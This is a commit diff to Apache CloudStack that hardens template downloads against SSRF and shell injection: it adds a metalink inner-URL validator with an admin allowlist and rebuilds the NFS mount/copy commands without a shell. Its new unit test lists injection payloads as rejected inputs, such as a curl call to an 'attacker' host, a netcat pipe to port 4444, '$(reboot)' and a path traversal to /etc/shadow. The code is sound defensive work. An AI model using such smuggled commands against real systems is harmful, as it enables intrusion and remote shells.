Fix issue in direct download and NFS templates

This commit is contained in:
Pearl Dsilva 2026-06-04 17:09:34 -04:00 committed by Abhishek Kumar
parent 3eb928bc72
commit 07e09db0af
9 changed files with 385 additions and 29 deletions

View File

@ -59,6 +59,16 @@ public interface DirectDownloadManager extends DirectDownloadService, PluggableS
"Requesting a connection from connection manager timeout in milliseconds for direct download",
true);
ConfigKey<String> DirectDownloadMetalinkAllowedHostsAndCidrs = new ConfigKey<>("Advanced", String.class,
"direct.download.metalink.allowed.hosts.and.cidrs",
"",
"Comma-separated list of hosts and CIDR ranges permitted as inner URL targets inside metalink files. "
+ "Each entry may be a CIDR range (e.g. \"10.0.0.0/8\"), an exact hostname or IP "
+ "(e.g. \"storage.corp.com\"), or a wildcard domain suffix (e.g. \"*.mylocal.net\"). "
+ "By default all private/site-local addresses are blocked to prevent SSRF. "
+ "Loopback and link-local addresses are always blocked regardless of this setting.",
true);
class HostCertificateStatus {
public enum CertificateStatus {
REVOKED, FAILED, SKIPPED, UPLOADED

View File

@ -133,6 +133,13 @@ public class MetalinkTemplateDownloader extends TemplateDownloaderBase implement
int i = 0;
while (!downloaded && i < metalinkUrls.size()) {
String url = metalinkUrls.get(i);
try {
UriUtils.validateMetalinkInnerUrl(url);
} catch (IllegalArgumentException e) {
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation: %s - %s", url, e.getMessage()));
i++;
continue;
}
request = createRequest(url);
downloaded = downloadTemplate();
i++;

View File

@ -19,6 +19,7 @@
package org.apache.cloudstack.agent.directdownload;
import java.util.List;
import java.util.Map;
import org.apache.cloudstack.storage.command.StorageSubSystemCommand;
@ -44,8 +45,8 @@ public abstract class DirectDownloadCommand extends StorageSubSystemCommand {
private Integer connectionRequestTimeout;
private Long templateSize;
private Storage.ImageFormat format;
private boolean followRedirects;
private List<String> allowedCidrs;
protected DirectDownloadCommand (final String url, final Long templateId, final PrimaryDataStoreTO destPool,
final String checksum, final Map<String, String> headers, final Integer connectTimeout,
@ -150,4 +151,12 @@ public abstract class DirectDownloadCommand extends StorageSubSystemCommand {
public void setFollowRedirects(boolean followRedirects) {
this.followRedirects = followRedirects;
}
public List<String> getAllowedCidrs() {
return allowedCidrs;
}
public void setAllowedCidrs(List<String> allowedCidrs) {
this.allowedCidrs = allowedCidrs;
}
}

View File

@ -27,6 +27,8 @@ import org.apache.cloudstack.agent.directdownload.NfsDirectDownloadCommand;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.Collections;
public class DirectDownloadHelper {
protected static Logger LOGGER = LogManager.getLogger(DirectDownloadHelper.class);
@ -50,7 +52,8 @@ public class DirectDownloadHelper {
} else if (cmd instanceof MetalinkDirectDownloadCommand) {
return new MetalinkDirectTemplateDownloader(cmd.getUrl(), destPoolLocalPath, cmd.getTemplateId(),
cmd.getChecksum(), cmd.getHeaders(), cmd.getConnectTimeout(), cmd.getSoTimeout(),
temporaryDownloadPath, cmd.isFollowRedirects());
temporaryDownloadPath, cmd.isFollowRedirects(),
cmd.getAllowedCidrs() != null ? cmd.getAllowedCidrs() : Collections.emptyList());
} else {
throw new IllegalArgumentException("Unsupported protocol, please provide HTTP(S), NFS or a metalink");
}

View File

@ -19,12 +19,14 @@
package org.apache.cloudstack.direct.download;
import com.cloud.utils.Pair;
import com.cloud.utils.UriUtils;
import com.cloud.utils.exception.CloudRuntimeException;
import org.apache.commons.collections.CollectionUtils;
import org.apache.commons.lang3.StringUtils;
import java.io.File;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.Random;
@ -37,6 +39,7 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
private Map<String, String> headers;
private Integer connectTimeout;
private Integer soTimeout;
private List<String> allowedCidrs = Collections.emptyList();
protected DirectTemplateDownloader createDownloaderForMetalinks(String url, Long templateId,
String destPoolPath, String checksum, Map<String, String> headers, Integer connectTimeout,
@ -49,24 +52,33 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
return new HttpDirectTemplateDownloader(url, templateId, destPoolPath, checksum, headers,
connectTimeout, soTimeout, temporaryDownloadPath, this.isFollowRedirects());
} else if (url.toLowerCase().startsWith("nfs:")) {
return new NfsDirectTemplateDownloader(url);
return new NfsDirectTemplateDownloader(url, destPoolPath, templateId, checksum, temporaryDownloadPath);
} else {
logger.error(String.format("Cannot find a suitable downloader to handle the metalink URL %s", url));
logger.error(String.format("Cannot find a suitable downloader to handle the metalink URL %s."
+ " Only http and https schemes are permitted inside metalink files.", url));
return null;
}
}
protected MetalinkDirectTemplateDownloader(String url, Integer connectTimeout, Integer socketTimeout, boolean followRedirects) {
this(url, null, null, null, null, connectTimeout, socketTimeout, null, followRedirects);
this(url, null, null, null, null, connectTimeout, socketTimeout, null, followRedirects, java.util.Collections.emptyList());
}
public MetalinkDirectTemplateDownloader(String url, String destPoolPath, Long templateId, String checksum,
Map<String, String> headers, Integer connectTimeout, Integer soTimeout, String downloadPath,
boolean followRedirects) {
this(url, destPoolPath, templateId, checksum, headers, connectTimeout, soTimeout, downloadPath, followRedirects,
java.util.Collections.emptyList());
}
public MetalinkDirectTemplateDownloader(String url, String destPoolPath, Long templateId, String checksum,
Map<String, String> headers, Integer connectTimeout, Integer soTimeout, String downloadPath,
boolean followRedirects, List<String> allowedCidrs) {
super(url, destPoolPath, templateId, checksum, downloadPath, followRedirects);
this.headers = headers;
this.connectTimeout = connectTimeout;
this.soTimeout = soTimeout;
this.allowedCidrs = allowedCidrs != null ? allowedCidrs : java.util.Collections.emptyList();
downloader = createDownloaderForMetalinks(url, templateId, destPoolPath, checksum, headers,
connectTimeout, soTimeout, null, downloadPath);
metalinkUrls = downloader.getMetalinkUrls(url);
@ -81,6 +93,10 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
}
}
public List<String> getAllowedCidrs() {
return allowedCidrs;
}
@Override
public Pair<Boolean, String> downloadTemplate() {
if (StringUtils.isBlank(getUrl())) {
@ -93,10 +109,17 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
if (!isRedownload()) {
setUrl(metalinkUrls.get(i));
}
logger.info("Trying to download Template from URL: " + getUrl());
DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(getUrl(), getTemplateId(), getDestPoolPath(),
getChecksum(), headers, connectTimeout, soTimeout, null, temporaryDownloadPath);
try {
UriUtils.validateMetalinkInnerUrl(getUrl(), allowedCidrs);
} catch (IllegalArgumentException e) {
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation: %s - %s", getUrl(), e.getMessage()));
i++;
continue;
}
logger.info("Trying to download Template from URL: " + getUrl());
try {
DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(getUrl(), getTemplateId(), getDestPoolPath(),
getChecksum(), headers, connectTimeout, soTimeout, null, temporaryDownloadPath);
setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName());
File f = new File(getDownloadedFilePath());
if (f.exists()) {
@ -139,8 +162,20 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
if (url.endsWith(".torrent")) {
continue;
}
DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(url, null, null, null, headers, connectTimeout, soTimeout, null, null);
if (!urlDownloader.checkUrl(url)) {
try {
UriUtils.validateMetalinkInnerUrl(url, allowedCidrs);
} catch (IllegalArgumentException e) {
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation in checkUrl: %s - %s", url, e.getMessage()));
continue;
}
DirectTemplateDownloader urlDownloader;
try {
urlDownloader = createDownloaderForMetalinks(url, null, null, null, headers, connectTimeout, soTimeout, null, null);
} catch (Exception e) {
logger.warn(String.format("Skipping metalink inner URL that failed validation in checkUrl: %s - %s", url, e.getMessage()));
continue;
}
if (urlDownloader == null || !urlDownloader.checkUrl(url)) {
return false;
}
}
@ -154,6 +189,12 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
if (url.endsWith("torrent")) {
continue;
}
try {
UriUtils.validateMetalinkInnerUrl(url, allowedCidrs);
} catch (IllegalArgumentException e) {
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation in getRemoteFileSize: %s - %s ", url, e.getMessage()));
continue;
}
if (downloader.checkUrl(url)) {
return downloader.getRemoteFileSize(url, format);
}

View File

@ -28,31 +28,50 @@ import java.net.URI;
import java.net.URISyntaxException;
import java.util.List;
import java.util.UUID;
import java.util.regex.Pattern;
public class NfsDirectTemplateDownloader extends DirectTemplateDownloaderImpl {
private String srcHost;
private String srcPath;
private static final String mountCommand = "mount -t nfs %s %s";
// srcHost and srcPath are used to build mount/cp commands; restrict them to safe
// characters so a crafted NFS url cannot smuggle shell metacharacters into the agent.
// Host must start with an alphanumeric character and the path must start with '/' so
// neither can be interpreted as a command-line option (argument confusion).
private static final Pattern SRC_HOST_PATTERN = Pattern.compile("^[A-Za-z0-9][A-Za-z0-9._-]*$");
private static final Pattern SRC_PATH_PATTERN = Pattern.compile("^/[A-Za-z0-9/._-]*$");
// SRC_PATH_PATTERN allows '.' and '/' individually, so a ".." segment would still pass;
// reject path traversal explicitly.
private static final Pattern PATH_TRAVERSAL_PATTERN = Pattern.compile("(^|/)\\.\\.(/|$)");
/**
* Parse url and set srcHost and srcPath
*/
private void parseUrl() {
URI uri = null;
String url = getUrl();
try {
uri = new URI(UriUtils.encodeURIComponent(url));
URI uri = new URI(UriUtils.encodeURIComponent(url));
if (uri.getScheme() != null && uri.getScheme().equalsIgnoreCase("nfs")) {
srcHost = uri.getHost();
srcPath = uri.getPath();
validateHostAndPath(url);
}
} catch (URISyntaxException e) {
throw new CloudRuntimeException("Invalid NFS url " + url + " caused error: " + e.getMessage());
}
}
private void validateHostAndPath(String url) {
if (srcHost == null || !SRC_HOST_PATTERN.matcher(srcHost).matches()) {
throw new CloudRuntimeException("Invalid host in NFS url: " + url);
}
if (srcPath == null || !SRC_PATH_PATTERN.matcher(srcPath).matches()
|| PATH_TRAVERSAL_PATTERN.matcher(srcPath).find()) {
throw new CloudRuntimeException("Invalid path in NFS url: " + url);
}
}
protected NfsDirectTemplateDownloader(String url) {
this(url, null, null, null, null);
}
@ -66,12 +85,54 @@ public class NfsDirectTemplateDownloader extends DirectTemplateDownloaderImpl {
@Override
public Pair<Boolean, String> downloadTemplate() {
String mountSrcUuid = UUID.randomUUID().toString();
String mount = String.format(mountCommand, srcHost + ":" + srcPath, "/mnt/" + mountSrcUuid);
Script.runSimpleBashScript(mount);
String downloadDir = getDestPoolPath() + File.separator + getDirectDownloadTempPath(getTemplateId());
setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName());
Script.runSimpleBashScript("cp /mnt/" + mountSrcUuid + srcPath + " " + getDownloadedFilePath());
Script.runSimpleBashScript("umount /mnt/" + mountSrcUuid);
String mountPoint = "/mnt/" + mountSrcUuid;
// Build each command from discrete arguments (no shell) so srcHost/srcPath cannot be
// interpreted as shell metacharacters even if they slip past validation. "--" separates
// options from positional arguments so a value cannot be mistaken for an option.
File mountDir = new File(mountPoint);
if (!mountDir.exists() && !mountDir.mkdirs()) {
throw new CloudRuntimeException("Failed to create mount point " + mountPoint);
}
// NFS can only mount an exported directory, never an individual file, so mount the
// parent directory of srcPath and copy the filename relative to the mount point.
int lastSlash = srcPath.lastIndexOf('/');
String parentPath = lastSlash > 0 ? srcPath.substring(0, lastSlash) : "/";
String fileName = srcPath.substring(lastSlash + 1);
Script mount = new Script("mount", logger);
mount.add("-t", "nfs");
mount.add("--");
mount.add(srcHost + ":" + parentPath);
mount.add(mountPoint);
String result = mount.execute();
if (result != null) {
throw new CloudRuntimeException(String.format("Failed to mount NFS source %s:%s : %s", srcHost, parentPath, result));
}
try {
String downloadDir = getDestPoolPath() + File.separator + getDirectDownloadTempPath(getTemplateId());
setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName());
Script copy = new Script("cp", logger);
copy.add("--");
copy.add(mountPoint + "/" + fileName);
copy.add(getDownloadedFilePath());
String copyResult = copy.execute();
if (copyResult != null) {
throw new CloudRuntimeException(String.format("Failed to copy template from NFS source %s:%s : %s", srcHost, srcPath, copyResult));
}
} finally {
Script umount = new Script("umount", logger);
umount.add("--");
umount.add(mountPoint);
String umountResult = umount.execute();
if (umountResult != null) {
logger.warn(String.format("Failed to unmount %s : %s", mountPoint, umountResult));
}
}
return new Pair<>(true, getDownloadedFilePath());
}

View File

@ -0,0 +1,73 @@
//
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
//
package org.apache.cloudstack.direct.download;
import com.cloud.utils.exception.CloudRuntimeException;
import org.junit.Assert;
import org.junit.Test;
public class NfsDirectTemplateDownloaderTest {
@Test
public void testValidNfsUrlIsAccepted() {
// A well-formed NFS url must parse without error.
new NfsDirectTemplateDownloader("nfs://10.0.0.1/export/templates/tmpl.qcow2");
}
@Test
public void testRejectsSemicolonInPath() {
assertRejected("nfs://10.0.0.1/a;curl http://attacker/x");
}
@Test
public void testRejectsCommandSubstitutionInPath() {
assertRejected("nfs://10.0.0.1/$(reboot)");
}
@Test
public void testRejectsBacktickInPath() {
assertRejected("nfs://10.0.0.1/`reboot`");
}
@Test
public void testRejectsPipeInPath() {
assertRejected("nfs://10.0.0.1/a|nc attacker 4444");
}
@Test
public void testRejectsHostStartingWithDash() {
// A leading '-' could be mistaken for a mount option (argument confusion).
assertRejected("nfs://-oremount/export/tmpl.qcow2");
}
@Test
public void testRejectsPathTraversal() {
// '.' and '/' are allowed individually, but a ".." segment must not slip through.
assertRejected("nfs://10.0.0.1/export/../../etc/shadow");
}
private void assertRejected(String url) {
try {
new NfsDirectTemplateDownloader(url);
Assert.fail("Expected CloudRuntimeException for url: " + url);
} catch (CloudRuntimeException expected) {
// metacharacters must be rejected during url parsing
}
}
}

View File

@ -408,13 +408,33 @@ public class DirectDownloadManagerImpl extends ManagerBase implements DirectDown
} else if (protocol.equals(DownloadProtocol.NFS)) {
return new NfsDirectDownloadCommand(url, templateId, destPool, checksum, httpHeaders);
} else if (protocol.equals(DownloadProtocol.METALINK)) {
return new MetalinkDirectDownloadCommand(url, templateId, destPool, checksum, httpHeaders, connectTimeout,
soTimeout, followRedirects);
MetalinkDirectDownloadCommand cmd = new MetalinkDirectDownloadCommand(url, templateId, destPool,
checksum, httpHeaders, connectTimeout, soTimeout, followRedirects);
cmd.setAllowedCidrs(parseAllowedCidrs(DirectDownloadMetalinkAllowedHostsAndCidrs.value()));
return cmd;
} else {
return null;
}
}
/**
* Parses a comma-separated CIDR string from the global setting into a list.
* Blank values return an empty list (all site-local addresses blocked).
*/
private List<String> parseAllowedCidrs(String rawValue) {
if (org.apache.commons.lang3.StringUtils.isBlank(rawValue)) {
return java.util.Collections.emptyList();
}
List<String> cidrs = new java.util.ArrayList<>();
for (String cidr : rawValue.split(",")) {
String trimmed = cidr.trim();
if (!trimmed.isEmpty()) {
cidrs.add(trimmed);
}
}
return cidrs;
}
/**
* Return the list of running hosts to which upload certificates for Direct Download
*/
@ -783,7 +803,8 @@ public class DirectDownloadManagerImpl extends ManagerBase implements DirectDown
DirectDownloadCertificateUploadInterval,
DirectDownloadConnectTimeout,
DirectDownloadSocketTimeout,
DirectDownloadConnectionRequestTimeout
DirectDownloadConnectionRequestTimeout,
DirectDownloadMetalinkAllowedHostsAndCidrs
};
}

View File

@ -304,6 +304,134 @@ public class UriUtils {
}
}
/**
* Validates a URL extracted from inside a metalink file.
* Only {@code http} and {@code https} schemes are permitted.
* Loopback, link-local, any-local, multicast, and site-local (RFC-1918)
* addresses are all blocked.
*
* @param url the inner URL to validate
* @throws IllegalArgumentException if the URL is not safe to fetch
*/
public static void validateMetalinkInnerUrl(String url) throws IllegalArgumentException {
validateMetalinkInnerUrl(url, Collections.emptyList());
}
/**
* Validates a URL extracted from inside a metalink file, with an optional
* admin-configured CIDR allowlist that may permit private-range addresses.
* Loopback, link-local, any-local, and multicast addresses are
* always blocked regardless of the allowlist.
* Site-local (RFC-1918) addresses can be selectively permitted by
* supplying matching CIDR strings (e.g. {@code "10.0.0.0/8"}).
*
* @param url the inner URL to validate
* @param allowedCidrs CIDR strings whose addresses are allowed even when
* site-local; an empty list blocks all site-local addresses
* @throws IllegalArgumentException if the URL is not safe to fetch
*/
public static void validateMetalinkInnerUrl(String url, List<String> allowedCidrs)
throws IllegalArgumentException {
if (url == null || url.isBlank()) {
throw new IllegalArgumentException("Empty URL in metalink file");
}
try {
URI uri = new URI(url);
String scheme = uri.getScheme();
if (scheme == null
|| (!scheme.equalsIgnoreCase("http") && !scheme.equalsIgnoreCase("https")
&& !scheme.equalsIgnoreCase("nfs"))) {
throw new IllegalArgumentException(
String.format("Metalink inner URL scheme not allowed: '%s'. Only http, https and nfs are permitted.", scheme));
}
String host = uri.getHost();
if (host == null || host.isBlank()) {
throw new IllegalArgumentException(String.format("No host in metalink inner URL: %s", url));
}
try {
InetAddress addr = InetAddress.getByName(host);
checkHost(addr, false);
// Site-local (RFC-1918) blocked by default; overridable via allowlist.
if (addr.isSiteLocalAddress() && !isAddressInAllowedCidrs(host, addr, allowedCidrs)) {
throw new IllegalArgumentException(
String.format("Metalink inner URL resolves to a private/site-local address: %s. "
+ "Configure direct.download.metalink.allowed.hosts.and.cidrs to permit specific ranges.", host));
}
} catch (UnknownHostException e) {
throw new IllegalArgumentException(String.format("Unable to resolve metalink inner URL host: %s", host));
}
} catch (URISyntaxException e) {
throw new IllegalArgumentException(String.format("Invalid metalink inner URL: %s", url));
}
}
static boolean isAddressInAllowedCidrs(InetAddress addr, List<String> entries) {
return isAddressInAllowedCidrs(addr.getHostAddress(), addr, entries);
}
/**
* Returns true if the given host/address is permitted by any entry in the list.
* Entries may be a CIDR range 10.0.0.0/8}, an exact hostname or IP
* (storage.corp.com), or a wildcard domain suffix (*.mylocal.net).
* Wildcard matching is a hostname-suffix check against host; CIDR and
* exact-hostname entries resolve to an IP and compare. Malformed entries are logged and skipped.
*/
static boolean isAddressInAllowedCidrs(String host, InetAddress addr, List<String> entries) {
if (entries == null || entries.isEmpty()) {
return false;
}
byte[] addrBytes = addr.getAddress();
for (String entry : entries) {
String trimmed = entry.trim();
if (trimmed.startsWith("*.")) {
String suffix = trimmed.substring(1); // e.g. ".mylocal.net"
if (host != null && host.toLowerCase().endsWith(suffix.toLowerCase())) {
return true;
}
} else {
try {
if (trimmed.contains("/")) {
String[] parts = trimmed.split("/");
if (parts.length != 2) {
LOGGER.warn("Ignoring malformed CIDR in metalink allowlist: " + trimmed);
continue;
}
InetAddress cidrAddr = InetAddress.getByName(parts[0]);
int prefixLen = Integer.parseInt(parts[1].trim());
byte[] cidrBytes = cidrAddr.getAddress();
if (cidrBytes.length != addrBytes.length) {
continue;
}
if (isMatchingPrefix(addrBytes, cidrBytes, prefixLen)) {
return true;
}
} else {
if (InetAddress.getByName(trimmed).equals(addr)) {
return true;
}
}
} catch (UnknownHostException | NumberFormatException e) {
LOGGER.warn("Ignoring invalid entry in metalink allowlist: " + trimmed + "" + e.getMessage());
}
}
}
return false;
}
/** Returns true if {@code addr} matches {@code cidr} for the given prefix length. */
private static boolean isMatchingPrefix(byte[] addr, byte[] cidr, int prefixLen) {
int fullBytes = prefixLen / 8;
int remainingBits = prefixLen % 8;
for (int i = 0; i < fullBytes; i++) {
if (addr[i] != cidr[i]) return false;
}
if (remainingBits > 0 && fullBytes < addr.length) {
int mask = 0xFF << (8 - remainingBits);
return (addr[fullBytes] & mask) == (cidr[fullBytes] & mask);
}
return true;
}
/**
* Verifies whether the provided host is valid. Throws an `IllegalArgumentException` if:
* <ul>
@ -314,18 +442,21 @@ public class UriUtils {
*/
private static void checkHost(String host, boolean skipIpv6Check) {
try {
InetAddress hostAddr = InetAddress.getByName(host);
if (hostAddr.isAnyLocalAddress() || hostAddr.isLinkLocalAddress() || hostAddr.isLoopbackAddress() || hostAddr.isMulticastAddress()) {
throw new IllegalArgumentException("Illegal host specified in URL.");
}
if (!skipIpv6Check && hostAddr instanceof Inet6Address) {
throw new IllegalArgumentException(String.format("IPv6 addresses are not supported (%s).", hostAddr.getHostAddress()));
}
checkHost(InetAddress.getByName(host), skipIpv6Check);
} catch (UnknownHostException uhe) {
throw new IllegalArgumentException(String.format("Unable to resolve %s.", host));
}
}
private static void checkHost(InetAddress addr, boolean skipIpv6Check) {
if (addr.isAnyLocalAddress() || addr.isLinkLocalAddress() || addr.isLoopbackAddress() || addr.isMulticastAddress()) {
throw new IllegalArgumentException("Illegal host specified in URL.");
}
if (!skipIpv6Check && addr instanceof Inet6Address) {
throw new IllegalArgumentException(String.format("IPv6 addresses are not supported (%s).", addr.getHostAddress()));
}
}
/**
* Add element to priority list examining node attributes: priority (for urls) and type (for checksums)
*/